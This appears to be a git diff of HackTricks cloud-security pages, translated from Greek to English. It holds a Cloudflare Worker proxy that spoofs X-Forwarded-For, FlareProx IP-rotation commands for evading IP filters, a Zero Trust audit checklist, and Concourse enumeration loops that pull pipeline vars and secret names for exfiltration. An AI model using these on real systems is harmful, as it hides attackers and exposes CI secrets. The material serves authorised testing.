1) Ο client στέλνει ένα HTTP request σε ένα Worker URL (`<name>.<account>.workers.dev` ή σε custom domain route).
2) Ο Worker εξάγει τον target από query parameter (?url=...), από το header X-Target-URL, ή από ένα path segment αν έχει υλοποιηθεί έτσι.
3) Ο Worker προωθεί το εισερχόμενο method, headers και body στο καθορισμένο upstream URL (φιλτράροντας προβληματικά headers).
4) Η upstream απάντηση streamάρεται πίσω στον client μέσω Cloudflare· η origin βλέπει τα Cloudflare egress IPs.
### Worker implementation example
- Διαβάζει το target URL από query param, header ή path
- Αντιγράφει ένα ασφαλές υποσύνολο headers και προωθεί το αρχικό method/body
- Προαιρετικά ορίζει X-Forwarded-For χρησιμοποιώντας ένα user-controlled header (X-My-X-Forwarded-For) ή ένα τυχαίο IP
- Προσθέτει permissive CORS και χειρίζεται τα preflight
<details>
<summary>Παράδειγμα Worker (JavaScript) for pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Αυτοματοποίηση ανάπτυξης και περιστροφής με FlareProx
FlareProx είναι ένα εργαλείο Python που χρησιμοποιεί το Cloudflare API για να αναπτύξει πολλαπλά Worker endpoints και να κάνει rotation μεταξύ τους. Αυτό παρέχει FireProx-like εναλλαγή IP από το δίκτυο του Cloudflare.
Ρύθμιση
1) Δημιουργήστε ένα Cloudflare API Token χρησιμοποιώντας το “Edit Cloudflare Workers” template και πάρτε το Account ID σας από τον πίνακα ελέγχου.
2) Διαμορφώστε το FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Δημιουργήστε το config file flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI χρήση**
- Δημιούργησε N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Λίστα endpoints:
```bash
python3 flareprox.py list
```
- endpoints δοκιμής υγείας:
```bash
python3 flareprox.py test
```
- Διαγράψτε όλα τα endpoints:
```bash
python3 flareprox.py cleanup
```
**Δρομολόγηση της κίνησης μέσω ενός Worker**
- Μορφή παραμέτρου query:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Μορφή επικεφαλίδας:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Μορφή διαδρομής (εάν υλοποιηθεί):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Παραδείγματα μεθόδων:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` έλεγχος**
Εάν ο Worker σέβεται την επικεφαλίδα `X-My-X-Forwarded-For`, μπορείτε να επηρεάσετε την upstream τιμή `X-Forwarded-For`:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Προγραμματιστική χρήση**
Χρησιμοποιήστε τη βιβλιοθήκη FlareProx για να δημιουργήσετε, να απαριθμήσετε και να δοκιμάσετε endpoints και να δρομολογήσετε αιτήματα από Python.
<details>
<summary>Παράδειγμα Python: Αποστολή POST μέσω τυχαίου Worker endpoint</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner ενσωμάτωση**
- Κατευθύνετε τα εργαλεία (π.χ. Burp Suite) στο URL του Worker.
- Παρέχετε τον πραγματικό upstream χρησιμοποιώντας ?url= ή X-Target-URL.
- Η HTTP σημασιολογία (methods/headers/body) διατηρείται ενώ η πηγή IP σας αποκρύπτεται πίσω από το Cloudflare.
**Λειτουργικές σημειώσεις και περιορισμοί**
- Το Cloudflare Workers Free plan επιτρέπει περίπου 100.000 αιτήματα/ημέρα ανά λογαριασμό· χρησιμοποιήστε πολλαπλά endpoints για να διανείμετε την κίνηση αν χρειαστεί.
- Οι Workers τρέχουν στο δίκτυο του Cloudflare· πολλοί στόχοι θα βλέπουν μόνο Cloudflare IPs/ASN, κάτι που μπορεί να παρακάμψει απλές λίστες allow/deny ανά IP ή geo heuristics.
- Χρησιμοποιήστε υπεύθυνα και μόνο με εξουσιοδότηση. Σεβαστείτε τους ToS και το robots.txt.
## Αναφορές
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
Σε έναν λογαριασμό **Cloudflare Zero Trust Network** υπάρχουν κάποιες **ρυθμίσεις και υπηρεσίες** που μπορούν να διαμορφωθούν. Σε αυτή τη σελίδα θα **αναλύσουμε τις ρυθμίσεις που σχετίζονται με την ασφάλεια κάθε ενότητας:**
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
### Analytics
- [ ] Χρήσιμο για **να γνωρίσετε το περιβάλλον**
- [ ] Useful to **get to know the environment**
### **Gateway**
- [ ] Στις **`Policies`** είναι δυνατή η δημιουργία πολιτικών για **να περιορίσετε** με **DNS**, **δίκτυο** ή **HTTP** αίτημα ποιος μπορεί να έχει πρόσβαση σε εφαρμογές.
- Αν χρησιμοποιούνται, οι **πολιτικές** θα μπορούσαν να δημιουργηθούν για **να περιορίσουν** την πρόσβαση σε κακόβουλες τοποθεσίες.
- Αυτό είναι **μόνο σχετικό αν χρησιμοποιείται μια πύλη**, αν όχι, δεν υπάρχει λόγος να δημιουργηθούν αμυντικές πολιτικές.
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- If used, **policies** could be created to **restrict** the access to malicious sites.
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
### Access
#### Applications
Σε κάθε εφαρμογή:
On each application:
- [ ] Ελέγξτε **ποιος** μπορεί να έχει πρόσβαση στην εφαρμογή στις **Policies** και ελέγξτε ότι **μόνο** οι **χρήστες** που **χρειάζονται πρόσβαση** στην εφαρμογή μπορούν να έχουν πρόσβαση.
- Για να επιτραπεί η πρόσβαση θα χρησιμοποιηθούν **`Access Groups`** (και μπορούν να οριστούν **επιπλέον κανόνες** επίσης)
- [ ] Ελέγξτε τους **διαθέσιμους παρόχους ταυτότητας** και βεβαιωθείτε ότι **δεν είναι πολύ ανοιχτοί**
- [ ] Στις **`Settings`**:
- [ ] Ελέγξτε ότι **CORS δεν είναι ενεργοποιημένο** (αν είναι ενεργοποιημένο, ελέγξτε ότι είναι **ασφαλές** και δεν επιτρέπει τα πάντα)
- [ ] Τα cookies θα πρέπει να έχουν το χαρακτηριστικό **Strict Same-Site**, **HTTP Only** και το **binding cookie** θα πρέπει να είναι **ενεργοποιημένο** αν η εφαρμογή είναι HTTP.
- [ ] Σκεφτείτε να ενεργοποιήσετε επίσης την **απεικόνιση προγράμματος περιήγησης** για καλύτερη **προστασία. Περισσότερες πληροφορίες για** [**την απομόνωση απομακρυσμένου προγράμματος περιήγησης εδώ**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
- [ ] Check the **available identity providers** and make sure they **aren't too open**
- [ ] In **`Settings`**:
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
- [ ] Ελέγξτε ότι οι ομάδες πρόσβασης που δημιουργήθηκαν είναι **σωστά περιορισμένες** στους χρήστες που θα πρέπει να επιτρέπουν.
- [ ] Είναι ιδιαίτερα σημαντικό να ελέγξετε ότι η **προεπιλεγμένη ομάδα πρόσβασης δεν είναι πολύ ανοιχτή** (δεν **επιτρέπει πάρα πολλούς ανθρώπους**) καθώς από **προεπιλογή** οποιοσδήποτε σε αυτή την **ομάδα** θα μπορεί να **έχει πρόσβαση σε εφαρμογές**.
- Σημειώστε ότι είναι δυνατόν να δοθεί **πρόσβαση** σε **ΟΛΟΥΣ** και σε άλλες **πολύ ανοιχτές πολιτικές** που δεν συνιστώνται εκτός αν είναι 100% απαραίτητο.
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
#### Service Auth
- [ ] Ελέγξτε ότι όλα τα διαπιστευτήρια υπηρεσίας **λήγουν σε 1 χρόνο ή λιγότερο**
- [ ] Check that all service tokens **expires in 1 year or less**
#### Tunnels
@@ -50,12 +50,15 @@ TODO
### Logs
- [ ] Μπορείτε να αναζητήσετε **αναπάντεχες ενέργειες** από χρήστες
- [ ] You could search for **unexpected actions** from users
### Settings
- [ ] Ελέγξτε τον **τύπο σχεδίου**
- [ ] Είναι δυνατόν να δείτε το **όνομα κατόχου πιστωτικής κάρτας**, **τελευταία 4 ψηφία**, **ημερομηνία λήξης** και **διεύθυνση**
- [ ] Συνιστάται να **προσθέσετε μια Ημερομηνία Λήξης Χρήστη** για να αφαιρέσετε χρήστες που δεν χρησιμοποιούν πραγματικά αυτή την υπηρεσία
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,11 +4,11 @@
## Basic Information
Το Concourse σας επιτρέπει να **δημιουργείτε pipelines** για να εκτελείτε αυτόματα δοκιμές, ενέργειες και να δημιουργείτε εικόνες όποτε το χρειάζεστε (με βάση το χρόνο, όταν συμβαίνει κάτι...)
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
## Concourse Architecture
Μάθετε πώς είναι δομημένο το περιβάλλον του concourse στο:
Learn how the concourse environment is structured in:
{{#ref}}
concourse-architecture.md
@@ -16,7 +16,7 @@ concourse-architecture.md
## Concourse Lab
Μάθετε πώς μπορείτε να εκτελέσετε ένα περιβάλλον concourse τοπικά για να κάνετε τις δικές σας δοκιμές στο:
Learn how you can run a concourse environment locally to do your own tests in:
{{#ref}}
concourse-lab-creation.md
@@ -24,10 +24,13 @@ concourse-lab-creation.md
## Enumerate & Attack Concourse
Μάθετε πώς μπορείτε να καταγράψετε το περιβάλλον του concourse και να το εκμεταλλευτείτε στο:
Learn how you can enumerate the concourse environment and abuse it in:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,9 @@
## Concourse Architecture
[**Σχετικά δεδομένα από την τεκμηρίωση του Concourse:**](https://concourse-ci.org/internals.html)
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
### Architecture
@@ -12,27 +14,29 @@
#### ATC: web UI & build scheduler
Το ATC είναι η καρδιά του Concourse. Εκτελεί το **web UI και API** και είναι υπεύθυνο για τον **προγραμματισμό** όλων των pipeline. **Συνδέεται με το PostgreSQL**, το οποίο χρησιμοποιεί για να αποθηκεύει δεδομένα pipeline (συμπεριλαμβανομένων των logs κατασκευής).
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
Η ευθύνη του [checker](https://concourse-ci.org/checker.html) είναι να ελέγχει συνεχώς για νέες εκδόσεις πόρων. Ο [scheduler](https://concourse-ci.org/scheduler.html) είναι υπεύθυνος για τον προγραμματισμό κατασκευών για μια εργασία και ο [build tracker](https://concourse-ci.org/build-tracker.html) είναι υπεύθυνος για την εκτέλεση οποιωνδήποτε προγραμματισμένων κατασκευών. Ο [garbage collector](https://concourse-ci.org/garbage-collector.html) είναι ο μηχανισμός καθαρισμού για την αφαίρεση οποιωνδήποτε μη χρησιμοποιούμενων ή παρωχημένων αντικειμένων, όπως κοντέινερ και όγκοι.
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
#### TSA: worker registration & forwarding
Η TSA είναι ένας **προσαρμοσμένος SSH server** που χρησιμοποιείται αποκλειστικά για την ασφαλή **καταχώριση** [**εργαζομένων**](https://concourse-ci.org/internals.html#architecture-worker) με το [ATC](https://concourse-ci.org/internals.html#component-atc).
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
Η TSA από **προεπιλογή ακούει στη θύρα `2222`**, και συνήθως βρίσκεται σε κοινή τοποθεσία με το [ATC](https://concourse-ci.org/internals.html#component-atc) και πίσω από έναν load balancer.
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
Η **TSA υλοποιεί CLI μέσω της σύνδεσης SSH,** υποστηρίζοντας [**αυτές τις εντολές**](https://concourse-ci.org/internals.html#component-tsa).
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
Για να εκτελέσει εργασίες, το Concourse πρέπει να έχει κάποιους εργαζόμενους. Αυτοί οι εργαζόμενοι **καταχωρούν τους εαυτούς τους** μέσω της [TSA](https://concourse-ci.org/internals.html#component-tsa) και εκτελούν τις υπηρεσίες [**Garden**](https://github.com/cloudfoundry-incubator/garden) και [**Baggageclaim**](https://github.com/concourse/baggageclaim).
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: Αυτό είναι το **Container Manage API**, συνήθως εκτελείται στη **θύρα 7777** μέσω **HTTP**.
- **Baggageclaim**: Αυτό είναι το **Volume Management API**, συνήθως εκτελείται στη **θύρα 7788** μέσω **HTTP**.
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,47 +4,51 @@
## Concourse Enumeration & Attacks
### User Roles & Permissions
Το Concourse διαθέτει πέντε ρόλους:
Concourse comes with five roles:
- _Concourse_ **Admin**: Αυτός ο ρόλος δίνεται μόνο στους ιδιοκτήτες της **κύριας ομάδας** (προεπιλεγμένη αρχική ομάδα του concourse). Οι διαχειριστές μπορούν να **ρυθμίσουν άλλες ομάδες** (π.χ.: `fly set-team`, `fly destroy-team`...). Οι άδειες αυτού του ρόλου δεν μπορούν να επηρεαστούν από το RBAC.
- **owner**: Οι ιδιοκτήτες ομάδας μπορούν να **τροποποιήσουν τα πάντα εντός της ομάδας**.
- **member**: Τα μέλη της ομάδας μπορούν να **διαβάσουν και να γράψουν** εντός των **πόρων της ομάδας** αλλά δεν μπορούν να τροποποιήσουν τις ρυθμίσεις της ομάδας.
- **pipeline-operator**: Οι χειριστές pipeline μπορούν να εκτελούν **λειτουργίες pipeline** όπως η εκκίνηση κατασκευών και η σταθεροποίηση πόρων, ωστόσο δεν μπορούν να ενημερώσουν τις ρυθμίσεις του pipeline.
- **viewer**: Οι θεατές της ομάδας έχουν **"μόνο ανάγνωση" πρόσβαση σε μια ομάδα** και τα pipelines της.
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
> [!NOTE]
> Επιπλέον, οι **άδειες των ρόλων owner, member, pipeline-operator και viewer μπορούν να τροποποιηθούν** ρυθμίζοντας το RBAC (ρυθμίζοντας πιο συγκεκριμένα τις ενέργειές του). Διαβάστε περισσότερα γι' αυτό στο: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Σημειώστε ότι το Concourse **ομαδοποιεί τα pipelines μέσα σε Ομάδες**. Επομένως, οι χρήστες που ανήκουν σε μια Ομάδα θα μπορούν να διαχειρίζονται αυτά τα pipelines και **μπορεί να υπάρχουν πολλές Ομάδες**. Ένας χρήστης μπορεί να ανήκει σε πολλές Ομάδες και να έχει διαφορετικές άδειες σε κάθε μία από αυτές.
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
### Vars & Credential Manager
Στα YAML configs μπορείτε να ρυθμίσετε τιμές χρησιμοποιώντας τη σύνταξη `((_source-name_:_secret-path_._secret-field_))`.\
[Από τα docs:](https://concourse-ci.org/vars.html#var-syntax) Το **source-name είναι προαιρετικό**, και αν παραληφθεί, θα χρησιμοποιηθεί ο [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ή η τιμή μπορεί να παρασχεθεί [στατικά](https://concourse-ci.org/vars.html#static-vars).\
Το **προαιρετικό \_secret-field**\_ καθορίζει ένα πεδίο στο ανακτηθέν μυστικό για ανάγνωση. Αν παραληφθεί, ο διαχειριστής πιστοποίησης μπορεί να επιλέξει να διαβάσει ένα 'προεπιλεγμένο πεδίο' από την ανακτηθείσα πιστοποίηση αν το πεδίο υπάρχει.\
Επιπλέον, το _**secret-path**_ και το _**secret-field**_ μπορεί να περιβάλλονται από διπλά εισαγωγικά `"..."` αν **περιέχουν ειδικούς χαρακτήρες** όπως `.` και `:`. Για παράδειγμα, `((source:"my.secret"."field:1"))` θα ορίσει το _secret-path_ σε `my.secret` και το _secret-field_ σε `field:1`.
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
#### Static Vars
Static vars μπορούν να καθοριστούν σε **βήματα εργασιών**:
Static vars can be specified in **tasks steps**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or χρησιμοποιώντας τα παρακάτω `fly` **arguments**:
- `-v` ή `--var` `NAME=VALUE` ορίζει τη συμβολοσειρά `VALUE` ως την τιμή για τη μεταβλητή `NAME`.
- `-y` ή `--yaml-var` `NAME=VALUE` αναλύει το `VALUE` ως YAML και το ορίζει ως την τιμή για τη μεταβλητή `NAME`.
- `-i` ή `--instance-var` `NAME=VALUE` αναλύει το `VALUE` ως YAML και το ορίζει ως την τιμή για τη μεταβλητή της παρουσίας `NAME`. Δείτε [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) για να μάθετε περισσότερα σχετικά με τις μεταβλητές παρουσίας.
- `-l` ή `--load-vars-from` `FILE` φορτώνει το `FILE`, ένα έγγραφο YAML που περιέχει αντιστοίχιση ονομάτων μεταβλητών σε τιμές, και τα ορίζει όλα.
Or using the following `fly` **arguments**:
#### Διαχείριση Διαπιστευτηρίων
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
Υπάρχουν διάφοροι τρόποι με τους οποίους μπορεί να καθοριστεί ένας **Διαχειριστής Διαπιστευτηρίων** σε μια ροή εργασίας, διαβάστε πώς στο [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Επιπλέον, το Concourse υποστηρίζει διάφορους διαχειριστές διαπιστευτηρίων:
#### Credential Management
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -57,64 +61,66 @@ Or χρησιμοποιώντας τα παρακάτω `fly` **arguments**:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Σημειώστε ότι αν έχετε κάποιο είδος **write access to Concourse** μπορείτε να δημιουργήσετε εργασίες για **exfiltrate those secrets** καθώς το Concourse πρέπει να μπορεί να έχει πρόσβαση σε αυτά.
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
### Concourse Enumeration
Για να καταγράψετε ένα περιβάλλον concourse πρέπει πρώτα να **συγκεντρώσετε έγκυρα διαπιστευτήρια** ή να βρείτε ένα **authenticated token** πιθανώς σε ένα αρχείο ρυθμίσεων `.flyrc`.
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
#### Login και Current User enum
#### Login and Current User enum
- Για να συνδεθείτε πρέπει να γνωρίζετε το **endpoint**, το **όνομα ομάδας** (προεπιλογή είναι το `main`) και μια **ομάδα στην οποία ανήκει ο χρήστης**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Λάβετε τις ρυθμισμένες **στόχους**:
- `fly targets`
- Ελέγξτε αν η ρυθμισμένη **σύνδεση στόχου** είναι ακόμα **έγκυρη**:
- `fly -t <target> status`
- Λάβετε το **ρόλο** του χρήστη σε σχέση με τον καθορισμένο στόχο:
- `fly -t <target> userinfo`
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
> [!NOTE]
> Σημειώστε ότι το **API token** είναι **αποθηκευμένο** στο `$HOME/.flyrc` από προεπιλογή, εάν ελέγχετε μια μηχανή μπορείτε να βρείτε εκεί τα διαπιστευτήρια.
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
#### Ομάδες & Χρήστες
#### Teams & Users
- Λάβετε μια λίστα με τις Ομάδες
- `fly -t <target> teams`
- Λάβετε ρόλους μέσα στην ομάδα
- `fly -t <target> get-team -n <team-name>`
- Λάβετε μια λίστα χρηστών
- `fly -t <target> active-users`
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
#### Ροές Εργασίας
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
- **Λίστα** ροών εργασίας:
- `fly -t <target> pipelines -a`
- **Λάβετε** yaml ροής εργασίας (**ευαίσθητες πληροφορίες** μπορεί να βρεθούν στον ορισμό):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Λάβετε όλες τις **δηλωμένες μεταβλητές ρύθμισης** της ροής εργασίας
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Λάβετε όλα τα **ονόματα μυστικών ροών εργασίας που χρησιμοποιούνται** (αν μπορείτε να δημιουργήσετε/τροποποιήσετε μια εργασία ή να καταλάβετε ένα κοντέινερ μπορείτε να τα exfiltrate):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
